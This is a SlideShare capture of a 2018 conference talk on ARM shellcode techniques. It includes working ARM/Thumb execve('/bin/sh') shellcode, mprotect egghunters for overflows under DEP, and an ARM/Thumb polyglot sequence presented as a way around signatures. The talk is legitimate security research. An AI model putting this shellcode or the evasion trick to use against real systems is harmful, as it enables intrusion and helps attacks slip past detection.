SlideShare une entreprise Scribd logo
1  sur  24
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
Make ARM Shellcode Great Again
Saumil Shah
@therealsaumil
17 October
2018
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
# who am i
CEO Net-square.
• Hacker, Speaker, Trainer,
Author.
• M.S. Computer Science
Purdue University.
• LinkedIn: saumilshah
• Twitter: @therealsaumil
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
Agenda
• A background on ARM shellcode
• My research around ARM shellcode
– cache coherency (solved before)
– space limitations - ARM mprotect Egghunter
– polyglot tricks - ARM Quantum Leap shellcode
• Demos
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
Example: ARM execve() Shellcode
.section .text
.global _start
_start:
.code 32
add r1, pc, #1
bx r1
.code 16
adr r0, SHELL
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #7]
mov r7, #11
svc #1
.balign 4
SHELL:
.ascii "/bin/shX"
Switch to
Thumb mode:
branch pc + 1
ARM CODE
0: e28f1001 add r1, pc, #1
4: e12fff11 bx r1
THUMB CODE
8: a002 add r0, pc, #8
a: 4049 eors r1, r1
c: 4052 eors r2, r2
e: 71c2 strb r2, [r0, #7]
10: 270b movs r7, #11
12: df01 svc 1
LITERAL POOL
14: 6e69622f .word 0x6e69622f
18: 5868732f .word 0x5868732f
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
heap
stack
Lib
Lib
Binary
overflow
pointer
ROP
shellcode
shellcode
shellcode
Shellcode in tight spaces
• What if payload exceeds
size "constraints"?
– Overwrite local variables.
– Bottom of the stack.
• Many solutions.
SEGFAULT!
SEGFAULT!
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
Egghunter
• Searches for an EGG (4+4 byte value) in the
process memory.
• Uses syscalls to determine whether a
memory page exists or not (safely).
• Upon finding it, Egghunter transfers the
control to the code following the egg.
• Nothing new here - done before.
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
Egghunter
heap
stack
Lib
Lib
Binary
shellcodeHACKHACK
overflow
ROP
egghunter
RWX - by ROP chain
Search for the EGG+EGG
one page at a time.
gef> vmmap
Start End Perm Path
0x00008000 0x00009000 rw- /home/pi/eggbreak
0x00010000 0x00011000 rw- /home/pi/eggbreak
0x00011000 0x00032000 rw- [heap]
0xb6e9c000 0xb6fbe000 r-x /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fbe000 0xb6fc5000 --- /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fc5000 0xb6fc7000 r-- /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fc7000 0xb6fc8000 rw- /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fc8000 0xb6fcb000 rw-
0xb6fd8000 0xb6ff5000 r-x /lib/arm-linux-gnueabihf/ld-2.13.so
0xb6ffa000 0xb6ffd000 rw-
0xb6ffd000 0xb6ffe000 r-- /lib/arm-linux-gnueabihf/ld-2.13.so
0xb6ffe000 0xb6fff000 rw- /lib/arm-linux-gnueabihf/ld-2.13.so
0xb6fff000 0xb7000000 r-x [sigpage]
0xbefdf000 0xbeffe000 rw-
0xbeffe000 0xbf000000 rwx [stack]
memory page
not executable
shellcode shellcode
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
Egghunter - DEP
• If Egg+shellcode is in a different memory
region, then it may not be executable
– Overflow in the stack
– Shellcode in the heap
• Enter the mprotect egghunter!
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
mprotect Egghunter
heap
stack
Lib
Lib
Binary
shellcodeHACKHACK
overflow
ROP
mprotect
egghunter
RWX
RWX
RWX
RWX
RWX
RWX
RWX
gef> vmmap
Start End Perm Path
0x00008000 0x00009000 rwx /home/pi/eggbreak
0x00010000 0x00011000 rwx /home/pi/eggbreak
0x00011000 0x00012000 rwx [heap]
0x00012000 0x00032000 rw- [heap]
0xb6e9c000 0xb6fbe000 r-x /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fbe000 0xb6fc5000 --- /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fc5000 0xb6fc7000 r-- /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fc7000 0xb6fc8000 rw- /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fc8000 0xb6fcb000 rw-
0xb6fd8000 0xb6ff5000 r-x /lib/arm-linux-gnueabihf/ld-2.13.so
0xb6ffa000 0xb6ffd000 rw-
0xb6ffd000 0xb6ffe000 r-- /lib/arm-linux-gnueabihf/ld-2.13.so
0xb6ffe000 0xb6fff000 rw- /lib/arm-linux-gnueabihf/ld-2.13.so
0xb6fff000 0xb7000000 r-x [sigpage]
0xbefdf000 0xbeffe000 rw-
0xbeffe000 0xbf000000 rwx [stack]
shellcode shellcode
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
DEMO
mprotect egghunter
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
Example: ARM execve() Shellcode
.section .text
.global _start
_start:
.code 32
add r1, pc, #1
bx r1
.code 16
adr r0, SHELL
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #7]
mov r7, #11
svc #1
.balign 4
SHELL:
.ascii "/bin/shX"
Switch to
Thumb mode:
branch pc + 1
• Rest of the shellcode
implemented in
Thumb mode.
• Compact, avoids bad
characters, etc.
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
Some Concerns
• The "I can signature this" debate.
– YARA Rules, IDS, Bro, blah blah…
• What if our target runs on a Thumb-only
processor?
– for example: Cortex-M
One Shellcode To Run Them All
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
"Quantum Leap" Shellcode
Start in THUMB modeStart in ARM mode
THUMB shellcode
(execve, reverse, …)
THUMB shellcode
(execve, reverse, …)
"LEAP"
TO
THUMB
PASS THROUGH
PASS THROUGH
PASS THROUGH
Quantum
Leap
Same
Same
But
Different
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
"Quantum Leap" - what we need
• An understanding of ARM and Thumb
instruction encoding:
– ARM instruction: "DO SOMETHING"
– 2 THUMB instructions: "PASS THROUGH"
• Conditional Execution in ARM instructions
– very helpful!
• A little bit of luck and perseverance.
• Nomenclature Credit: "dialup" @44CON.
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
The ARM to Thumb switch
• Avoid "destructive" instructions
– Branches, Load/Store, Floating Point, etc.
• Should work on ARMv6 (no Thumb2)
• Avoid Illegal instructions.
0: e28f1001 add r1, pc, #1
4: e12fff11 bx r1
8: 270b movs r7, #11
a: beff bkpt 0x00ff
0: 1001 asrs r1, r0, #32
2: e28f b.n 524
4: ff11 e12f vrhadd.u16 d14,d1,d31
8: 270b movs r7, #11
a: beff bkpt 0x00ff
ORIGINAL ARM CODE "THUMB VIEW"
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
ARM and THUMB decoding - 1
e28f1001 1110 0010 1000 1111 0001 0000 0000 0001 add r1,pc,#1
4 BYTE ARM INSTRUCTION - add r1, pc, #1
conditional
opcodestatus
operand
1
destination
operand
2
Thumb instruction 2
Thumb instruction 1
• Controlled by
opcode and
conditional flags.
• Partially influenced
by the first
operand.
• Trickier to control.
• Controlled by
Operands of the
ARM instruction.
• Easier to control.
im
m
ediate
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
ARM and THUMB decoding - 1
e28f1001 1110 0010 1000 1111 0001 0000 0000 0001 add r1,pc,#1
1001 0001 0000 0000 0001 asrs r1,r0,#32
e28f 1110 0010 1000 1111 b 524
1 ARM INSTRUCTION RESULTING INTO 2 THUMB INSTRUCTIONS:
conditional
opcodestatus
destination
operand
2
im
m
ediate
Branch instructions
are destructive
Thumb Opcode 2
influenced by ARM
conditional bits
operand
1
Thumb Opcode 1
influenced by ARM
destination operand
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
(Un)conditional Instructions
• How can we turn an ARM instruction into a
conditional instruction…
• …with guaranteed execution everytime?
• COMPLIMENTARY CONDITIONS.
• One of the instructions is guaranteed to
execute, irrespective of condition flags.
e28f1001 add r1, pc, #1 128f1005 addne r1, pc, #5
028f1001 addeq r1, pc, #1
UNCONDITIONAL INSTRUCTION COMPLIMENTARY CONDITIONS
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
ARM and THUMB decoding - 2
128f1005: 0001 0010 1000 1111 0001 0000 0000 0101 addne r1,pc,#5
1005: 0001 0000 0000 0101 asrs r5,r0,#32
128f: 0001 0010 1000 1111 asrs r7,r1,#10
028f1001: 0000 0010 1000 1111 0001 0000 0000 0001 addeq r1,pc,#1
1001: 0001 0000 0000 0001 asrs r1,r0,#32
028f: 0000 0010 1000 1111 lsls r7,r1,#10
USING CONDITIONAL ARM INSTRUCTIONS:
conditional
opcodestatus
destination
operand
2
im
m
ediate
No destructive
instructions in
Thumb mode
Complimentary
Conditional ARM
instructions
operand
1
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
Final "Quantum Leap" Code
0: 228fa019 addcs sl, pc, #25
4: 328fa015 addcc sl, pc, #21
8: 21a0400d movcs r4, sp
c: 31a0400d movcc r4, sp
10: 292d0412 pushcs {r1, r4, sl}
14: 392d0412 pushcc {r1, r4, sl}
18: 28bda002 popcs {r1, sp, pc}
1c: 38bda002 popcc {r1, sp, pc}
20: beff bkpt 0x00ff
22: beff bkpt 0x00ff
0: a019 add r0, pc, #100
2: 228f movs r2, #143
4: a015 add r0, pc, #84
6: 328f adds r2, #143
8: 400d ands r5, r1
a: 21a0 movs r1, #160
c: 400d ands r5, r1
e: 31a0 adds r1, #160
10: 0412 lsls r2, r2, #16
12: 292d cmp r1, #45
14: 0412 lsls r2, r2, #16
16: 392d subs r1, #45
18: a002 add r0, pc, #8
1a: 28bd cmp r0, #189
1c: a002 add r0, pc, #8
1e: 38bd subs r0, #189
20: beff bkpt 0x00ff
20: beff bkpt 0x00ff
QUANTUM LEAP: ARM TO THUMB QUANTUM LEAP: PASS THROUGH (THUMB)
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
Assembling the Quantum Leap
• No Thumb2 instructions.
• No NULL bytes.
• Took many iterations to finalise!
• bx sl implemented by push {sl}, pop {pc}.
• Register list proved to be a challenge.
• Registers r4, sl altered in ARM.
• Registers r0, r1, r2, r5 altered in Thumb.
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
DEMO
Quantum Leap Shellcode
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
Conclusion
• ARM/Thumb Polyglot instructions and
conditional execution offer many
opportunities for obfuscation and
signature bypass.
• Lots of exploration opportunities in ARM
shellcoding.
https://github.com/therealsaumil/arm_shellcode
NETSQUARE (c) SAUMIL SHAHhack.lu 2018
exit(0)
Saumil Shah
@therealsaumil
#hacklu 2018

Contenu connexe

Tendances

OpenBSD/sgi SMP implementation for Origin 350
OpenBSD/sgi SMP implementation for Origin 350OpenBSD/sgi SMP implementation for Origin 350
OpenBSD/sgi SMP implementation for Origin 350
Takuya ASADA
 

Tendances (20)

Kernel Recipes 2016 - Why you need a test strategy for your kernel development
Kernel Recipes 2016 - Why you need a test strategy for your kernel developmentKernel Recipes 2016 - Why you need a test strategy for your kernel development
Kernel Recipes 2016 - Why you need a test strategy for your kernel development
 
DMVPN Lab WorkBook
DMVPN Lab WorkBookDMVPN Lab WorkBook
DMVPN Lab WorkBook
 
W8_2: Inside the UoS Educational Processor
W8_2: Inside the UoS Educational ProcessorW8_2: Inside the UoS Educational Processor
W8_2: Inside the UoS Educational Processor
 
Using ARM Dev.Board in physical experimental instruments
Using ARM Dev.Board in physical experimental instrumentsUsing ARM Dev.Board in physical experimental instruments
Using ARM Dev.Board in physical experimental instruments
 
Dronecode: software open source em drones
Dronecode: software open source em dronesDronecode: software open source em drones
Dronecode: software open source em drones
 
Verifikation - Metoder og Libraries
Verifikation - Metoder og LibrariesVerifikation - Metoder og Libraries
Verifikation - Metoder og Libraries
 
SMP Implementation for OpenBSD/sgi [Japanese Edition]
SMP Implementation for OpenBSD/sgi [Japanese Edition]SMP Implementation for OpenBSD/sgi [Japanese Edition]
SMP Implementation for OpenBSD/sgi [Japanese Edition]
 
Introduction to Debuggers
Introduction to DebuggersIntroduction to Debuggers
Introduction to Debuggers
 
44CON 2014 - Simple Hardware Sidechannel Attacks for 10 GBP or Less, Joe Fitz...
44CON 2014 - Simple Hardware Sidechannel Attacks for 10 GBP or Less, Joe Fitz...44CON 2014 - Simple Hardware Sidechannel Attacks for 10 GBP or Less, Joe Fitz...
44CON 2014 - Simple Hardware Sidechannel Attacks for 10 GBP or Less, Joe Fitz...
 
[5]投影片 futurewad樹莓派研習會 141218
[5]投影片 futurewad樹莓派研習會 141218[5]投影片 futurewad樹莓派研習會 141218
[5]投影片 futurewad樹莓派研習會 141218
 
Debugging TV Frame 0x05
Debugging TV Frame 0x05Debugging TV Frame 0x05
Debugging TV Frame 0x05
 
Trash Robotic Router Platform - David Melendez - Codemotion Rome 2015
Trash Robotic Router Platform - David Melendez - Codemotion Rome 2015Trash Robotic Router Platform - David Melendez - Codemotion Rome 2015
Trash Robotic Router Platform - David Melendez - Codemotion Rome 2015
 
Automatic Generation of Compact Alphanumeric Shellcodes for x86
Automatic Generation of Compact Alphanumeric Shellcodes for x86Automatic Generation of Compact Alphanumeric Shellcodes for x86
Automatic Generation of Compact Alphanumeric Shellcodes for x86
 
[嵌入式系統] MCS-51 實驗 - 使用 IAR (2)
[嵌入式系統] MCS-51 實驗 - 使用 IAR (2)[嵌入式系統] MCS-51 實驗 - 使用 IAR (2)
[嵌入式系統] MCS-51 實驗 - 使用 IAR (2)
 
Scale17x buffer overflows
Scale17x buffer overflowsScale17x buffer overflows
Scale17x buffer overflows
 
Hackers vs Hackers
Hackers vs HackersHackers vs Hackers
Hackers vs Hackers
 
OpenBSD/sgi SMP implementation for Origin 350
OpenBSD/sgi SMP implementation for Origin 350OpenBSD/sgi SMP implementation for Origin 350
OpenBSD/sgi SMP implementation for Origin 350
 
Side Channel Attacks on AES
Side Channel Attacks on AESSide Channel Attacks on AES
Side Channel Attacks on AES
 
Nxll24 i pv6
Nxll24 i pv6Nxll24 i pv6
Nxll24 i pv6
 
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
 

Similaire à HackLU 2018 Make ARM Shellcode Great Again

Exploring the x64
Exploring the x64Exploring the x64
Exploring the x64
FFRI, Inc.
 

Similaire à HackLU 2018 Make ARM Shellcode Great Again (20)

Kernel Recipes 2013 - Deciphering Oopsies
Kernel Recipes 2013 - Deciphering OopsiesKernel Recipes 2013 - Deciphering Oopsies
Kernel Recipes 2013 - Deciphering Oopsies
 
Exploring the x64
Exploring the x64Exploring the x64
Exploring the x64
 
Debugging 2013- Jesper Brouer
Debugging 2013- Jesper BrouerDebugging 2013- Jesper Brouer
Debugging 2013- Jesper Brouer
 
Writing Metasploit Plugins
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Plugins
 
Symbolic Debugging with DWARF
Symbolic Debugging with DWARFSymbolic Debugging with DWARF
Symbolic Debugging with DWARF
 
Basics Of Embedded Systems
Basics Of Embedded SystemsBasics Of Embedded Systems
Basics Of Embedded Systems
 
Linux+sensor+device-tree+shell=IoT !
Linux+sensor+device-tree+shell=IoT !Linux+sensor+device-tree+shell=IoT !
Linux+sensor+device-tree+shell=IoT !
 
hacking-embedded-devices.pptx
hacking-embedded-devices.pptxhacking-embedded-devices.pptx
hacking-embedded-devices.pptx
 
ARM 64bit has come!
ARM 64bit has come!ARM 64bit has come!
ARM 64bit has come!
 
Reverse engineering of binary programs for custom virtual machines
Reverse engineering of binary programs for custom virtual machinesReverse engineering of binary programs for custom virtual machines
Reverse engineering of binary programs for custom virtual machines
 
Debugging Ruby Systems
Debugging Ruby SystemsDebugging Ruby Systems
Debugging Ruby Systems
 
Pragmatic Optimization in Modern Programming - Mastering Compiler Optimizations
Pragmatic Optimization in Modern Programming - Mastering Compiler OptimizationsPragmatic Optimization in Modern Programming - Mastering Compiler Optimizations
Pragmatic Optimization in Modern Programming - Mastering Compiler Optimizations
 
Arm architecture overview
Arm architecture overviewArm architecture overview
Arm architecture overview
 
RISC-V Zce Extension
RISC-V Zce ExtensionRISC-V Zce Extension
RISC-V Zce Extension
 
Developing Applications for Beagle Bone Black, Raspberry Pi and SoC Single Bo...
Developing Applications for Beagle Bone Black, Raspberry Pi and SoC Single Bo...Developing Applications for Beagle Bone Black, Raspberry Pi and SoC Single Bo...
Developing Applications for Beagle Bone Black, Raspberry Pi and SoC Single Bo...
 
Debugging Ruby
Debugging RubyDebugging Ruby
Debugging Ruby
 
The n00bs guide to ovs dpdk
The n00bs guide to ovs dpdkThe n00bs guide to ovs dpdk
The n00bs guide to ovs dpdk
 
A Close Look at ARM Code Size
A Close Look at ARM Code SizeA Close Look at ARM Code Size
A Close Look at ARM Code Size
 
Windows Debugging with WinDbg
Windows Debugging with WinDbgWindows Debugging with WinDbg
Windows Debugging with WinDbg
 
The true story_of_hello_world
The true story_of_hello_worldThe true story_of_hello_world
The true story_of_hello_world
 

Plus de Saumil Shah

Plus de Saumil Shah (20)

The Hand That Strikes, Also Blocks
The Hand That Strikes, Also BlocksThe Hand That Strikes, Also Blocks
The Hand That Strikes, Also Blocks
 
Debugging with EMUX - RIngzer0 BACK2WORKSHOPS
Debugging with EMUX - RIngzer0 BACK2WORKSHOPSDebugging with EMUX - RIngzer0 BACK2WORKSHOPS
Debugging with EMUX - RIngzer0 BACK2WORKSHOPS
 
Unveiling EMUX - ARM and MIPS IoT Emulation Framework
Unveiling EMUX - ARM and MIPS IoT Emulation FrameworkUnveiling EMUX - ARM and MIPS IoT Emulation Framework
Unveiling EMUX - ARM and MIPS IoT Emulation Framework
 
Announcing ARMX Docker - DC11332
Announcing ARMX Docker - DC11332Announcing ARMX Docker - DC11332
Announcing ARMX Docker - DC11332
 
Precise Presentations
Precise PresentationsPrecise Presentations
Precise Presentations
 
Effective Webinars: Presentation Skills for a Virtual Audience
Effective Webinars: Presentation Skills for a Virtual AudienceEffective Webinars: Presentation Skills for a Virtual Audience
Effective Webinars: Presentation Skills for a Virtual Audience
 
INSIDE ARM-X Cansecwest 2020
INSIDE ARM-X Cansecwest 2020INSIDE ARM-X Cansecwest 2020
INSIDE ARM-X Cansecwest 2020
 
Cyberspace And Security - India's Decade Ahead
Cyberspace And Security - India's Decade AheadCyberspace And Security - India's Decade Ahead
Cyberspace And Security - India's Decade Ahead
 
Cybersecurity And Sovereignty - A Look At Society's Transformation In Cyberspace
Cybersecurity And Sovereignty - A Look At Society's Transformation In CyberspaceCybersecurity And Sovereignty - A Look At Society's Transformation In Cyberspace
Cybersecurity And Sovereignty - A Look At Society's Transformation In Cyberspace
 
NSConclave2020 The Decade Behind And The Decade Ahead
NSConclave2020 The Decade Behind And The Decade AheadNSConclave2020 The Decade Behind And The Decade Ahead
NSConclave2020 The Decade Behind And The Decade Ahead
 
Cybersecurity In India - The Decade Ahead
Cybersecurity In India - The Decade AheadCybersecurity In India - The Decade Ahead
Cybersecurity In India - The Decade Ahead
 
INSIDE ARM-X - Countermeasure 2019
INSIDE ARM-X - Countermeasure 2019INSIDE ARM-X - Countermeasure 2019
INSIDE ARM-X - Countermeasure 2019
 
Introducing ARM-X
Introducing ARM-XIntroducing ARM-X
Introducing ARM-X
 
The Road To Defendable Systems - Emirates NBD
The Road To Defendable Systems - Emirates NBDThe Road To Defendable Systems - Emirates NBD
The Road To Defendable Systems - Emirates NBD
 
The CISO's Dilemma 44CON 2019
The CISO's Dilemma 44CON 2019The CISO's Dilemma 44CON 2019
The CISO's Dilemma 44CON 2019
 
The CISO's Dilemma HITBGSEC2019
The CISO's Dilemma HITBGSEC2019The CISO's Dilemma HITBGSEC2019
The CISO's Dilemma HITBGSEC2019
 
What Makes a Compelling Photograph
What Makes a Compelling PhotographWhat Makes a Compelling Photograph
What Makes a Compelling Photograph
 
Hack.LU 2018 ARM IoT Firmware Emulation Workshop
Hack.LU 2018 ARM IoT Firmware Emulation WorkshopHack.LU 2018 ARM IoT Firmware Emulation Workshop
Hack.LU 2018 ARM IoT Firmware Emulation Workshop
 
ARM IoT Firmware Emulation Workshop
ARM IoT Firmware Emulation WorkshopARM IoT Firmware Emulation Workshop
ARM IoT Firmware Emulation Workshop
 
Cross Border Cyber Attacks: Impact on Digital Sovereignty
Cross Border Cyber Attacks: Impact on Digital SovereigntyCross Border Cyber Attacks: Impact on Digital Sovereignty
Cross Border Cyber Attacks: Impact on Digital Sovereignty
 

Dernier

Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Victor Rentea
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
panagenda
 

Dernier (20)

Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptx
 
WSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering DevelopersWSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering Developers
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdfRising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
 
Platformless Horizons for Digital Adaptability
Platformless Horizons for Digital AdaptabilityPlatformless Horizons for Digital Adaptability
Platformless Horizons for Digital Adaptability
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 

HackLU 2018 Make ARM Shellcode Great Again

  • 1. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 Make ARM Shellcode Great Again Saumil Shah @therealsaumil 17 October 2018
  • 2. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 # who am i CEO Net-square. • Hacker, Speaker, Trainer, Author. • M.S. Computer Science Purdue University. • LinkedIn: saumilshah • Twitter: @therealsaumil
  • 3. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 Agenda • A background on ARM shellcode • My research around ARM shellcode – cache coherency (solved before) – space limitations - ARM mprotect Egghunter – polyglot tricks - ARM Quantum Leap shellcode • Demos
  • 4. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 Example: ARM execve() Shellcode .section .text .global _start _start: .code 32 add r1, pc, #1 bx r1 .code 16 adr r0, SHELL eor r1, r1, r1 eor r2, r2, r2 strb r2, [r0, #7] mov r7, #11 svc #1 .balign 4 SHELL: .ascii "/bin/shX" Switch to Thumb mode: branch pc + 1 ARM CODE 0: e28f1001 add r1, pc, #1 4: e12fff11 bx r1 THUMB CODE 8: a002 add r0, pc, #8 a: 4049 eors r1, r1 c: 4052 eors r2, r2 e: 71c2 strb r2, [r0, #7] 10: 270b movs r7, #11 12: df01 svc 1 LITERAL POOL 14: 6e69622f .word 0x6e69622f 18: 5868732f .word 0x5868732f
  • 5. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 heap stack Lib Lib Binary overflow pointer ROP shellcode shellcode shellcode Shellcode in tight spaces • What if payload exceeds size "constraints"? – Overwrite local variables. – Bottom of the stack. • Many solutions. SEGFAULT! SEGFAULT!
  • 6. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 Egghunter • Searches for an EGG (4+4 byte value) in the process memory. • Uses syscalls to determine whether a memory page exists or not (safely). • Upon finding it, Egghunter transfers the control to the code following the egg. • Nothing new here - done before.
  • 7. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 Egghunter heap stack Lib Lib Binary shellcodeHACKHACK overflow ROP egghunter RWX - by ROP chain Search for the EGG+EGG one page at a time. gef> vmmap Start End Perm Path 0x00008000 0x00009000 rw- /home/pi/eggbreak 0x00010000 0x00011000 rw- /home/pi/eggbreak 0x00011000 0x00032000 rw- [heap] 0xb6e9c000 0xb6fbe000 r-x /lib/arm-linux-gnueabihf/libc-2.13.so 0xb6fbe000 0xb6fc5000 --- /lib/arm-linux-gnueabihf/libc-2.13.so 0xb6fc5000 0xb6fc7000 r-- /lib/arm-linux-gnueabihf/libc-2.13.so 0xb6fc7000 0xb6fc8000 rw- /lib/arm-linux-gnueabihf/libc-2.13.so 0xb6fc8000 0xb6fcb000 rw- 0xb6fd8000 0xb6ff5000 r-x /lib/arm-linux-gnueabihf/ld-2.13.so 0xb6ffa000 0xb6ffd000 rw- 0xb6ffd000 0xb6ffe000 r-- /lib/arm-linux-gnueabihf/ld-2.13.so 0xb6ffe000 0xb6fff000 rw- /lib/arm-linux-gnueabihf/ld-2.13.so 0xb6fff000 0xb7000000 r-x [sigpage] 0xbefdf000 0xbeffe000 rw- 0xbeffe000 0xbf000000 rwx [stack] memory page not executable shellcode shellcode
  • 8. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 Egghunter - DEP • If Egg+shellcode is in a different memory region, then it may not be executable – Overflow in the stack – Shellcode in the heap • Enter the mprotect egghunter!
